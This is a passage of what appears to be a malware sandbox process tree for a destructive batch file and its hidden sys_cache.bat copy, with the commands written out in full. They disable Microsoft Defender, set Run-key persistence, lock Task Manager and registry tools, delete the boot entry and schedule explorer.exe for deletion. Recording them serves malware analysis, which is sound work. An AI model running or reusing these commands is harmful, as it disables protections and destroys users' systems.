        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:2332
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:4284
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7088
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7200
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7836
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:7796
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:9396
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:9528
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5448
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:2936
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1728
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:1540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1940
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:4120
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4264
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:2300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:2696
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:2188
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1716
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:932
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:3224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:1656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        
        PID:1028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        
        PID:5216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        
        PID:1060
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4444
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1948
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2480
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5816
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        Executes a command shell one-liner
        
        PID:2536
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6876
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6236
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7752
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:1280
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6712
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6724
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9384
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:4076
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7668
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1860
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10876
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:4696
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2116
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7320
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8724
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7696
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:5644
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:880
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:3328
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:3988
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6756
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6480
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6328
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:2876
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6312
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:5308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8732
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6244
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6508
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:5924
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7812
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:3808
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4228
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7052
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6452
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:5428
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6628
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8032
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7956
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8140
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8432
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:3432
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8816
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:4128
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:7472
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5176
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6792
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:3548
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7464
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7672
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8320
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:10032
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6432
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6508
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:1936
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:6684
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:2328
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1028
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:1560
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:5532
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6444
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7184
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:3324
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7712
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9132
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8800
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5332
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:7812
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4952
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6412
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:5296
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:404
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7008
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8588
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8128
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9612
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8552
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:2756
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:3904
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4152
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8832
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10468
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:984
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6984
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7300
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7896
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:7528
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:9404
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:9572
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
      4⤵
      PID:228
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:508
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:968
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3804
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4924
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
      4⤵
      Discovers running processes
      PID:4272
  - - C:\Windows\system32\find.exe
      find /c /v ""
      4⤵
      PID:5920

C:\Windows\system32\mode.com
mode con: cols=120 lines=40
1⤵
PID:3100

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:5728
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:2488

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
1⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\mode.com
    mode con: cols=120 lines=40
    3⤵
    PID:4180
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2536
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
    3⤵
    - Creates a file in the Startup directory
    - Views/modifies file attributes
    PID:1648
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
    3⤵
    PID:884
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
    3⤵
    PID:5076
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
    3⤵
    PID:3856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
    3⤵
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    PID:5104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    PID:4012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableScriptScanning $true"
    3⤵
    PID:5016
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4900
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:4392
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5560
- - C:\Windows\system32\reg.exe
